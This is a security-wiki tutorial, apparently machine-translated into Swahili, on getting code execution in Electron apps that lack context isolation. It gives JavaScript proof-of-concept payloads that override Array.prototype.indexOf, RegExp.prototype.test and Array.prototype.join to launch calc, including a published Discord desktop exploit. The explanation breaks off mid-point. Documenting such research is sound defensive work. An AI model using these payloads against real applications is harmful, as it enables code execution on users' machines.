Electron contextIsolation RCE via preload code
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Mfano 1
Mfano kutoka https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30
Hii code inafungua viungo vya http(s) na kivinjari cha kawaida:
Kitu kama file:///C:/Windows/systemd32/calc.exe
kinaweza kutumika kuendesha calc, SAFE_PROTOCOLS.indexOf
inazuia hilo.
Hivyo, mshambuliaji anaweza kuingiza hii JS code kupitia XSS au urambazaji wa ukurasa wa kiholela:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
Kama wito wa SAFE_PROTOCOLS.indexOf
utarudisha 1337 kila wakati, mshambuliaji anaweza kupita ulinzi na kutekeleza calc. Hatua ya mwisho ya kutumia:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Angalia slaidi za asili kwa njia nyingine za kutekeleza programu bila kuwa na kidokezo kinachouliza ruhusa.
Kwa kweli njia nyingine ya kupakia na kutekeleza msimbo ni kufikia kitu kama file://127.0.0.1/electron/rce.jar
Mfano 2: Discord App RCE
Mfano kutoka https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Wakati wa kuangalia skripti za preload, niligundua kuwa Discord inatoa kazi, ambayo inaruhusu baadhi ya moduli zinazoruhusiwa kuitwa kupitia DiscordNative.nativeModules.requireModule('MODULE-NAME')
, ndani ya ukurasa wa wavuti.
Hapa, sikuweza kutumia moduli ambazo zinaweza kutumika kwa RCE moja kwa moja, kama vile moduli ya child_process, lakini nilipata msimbo ambapo RCE inaweza kupatikana kwa kubadilisha mbinu za ndani za JavaScript na kuingilia kati utekelezaji wa moduli iliyofichuliwa.
Ifuatayo ni PoC. Niliweza kuthibitisha kwamba programu ya calc inajitokeza wakati ninapoitwa kazi ya getGPUDriverVersions
ambayo imefafanuliwa katika moduli inayoitwa "discord_utils" kutoka devTools, wakati nikibadilisha RegExp.prototype.test
na Array.prototype.join
.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
Funguo la getGPUDriverVersions
linajaribu kutekeleza programu kwa kutumia maktaba ya "execa", kama ifuatavyo:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Kawaida execa inajaribu kutekeleza "nvidia-smi.exe", ambayo imeainishwa katika mabadiliko ya nvidiaSmiPath
, hata hivyo, kutokana na RegExp.prototype.test
na Array.prototype.join
zilizobadilishwa, hoja inabadilishwa kuwa "calc" katika usindikaji wa ndani wa _execa_**.
Haswa, hoja inabadilishwa kwa kubadilisha sehemu mbili zifuatazo.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.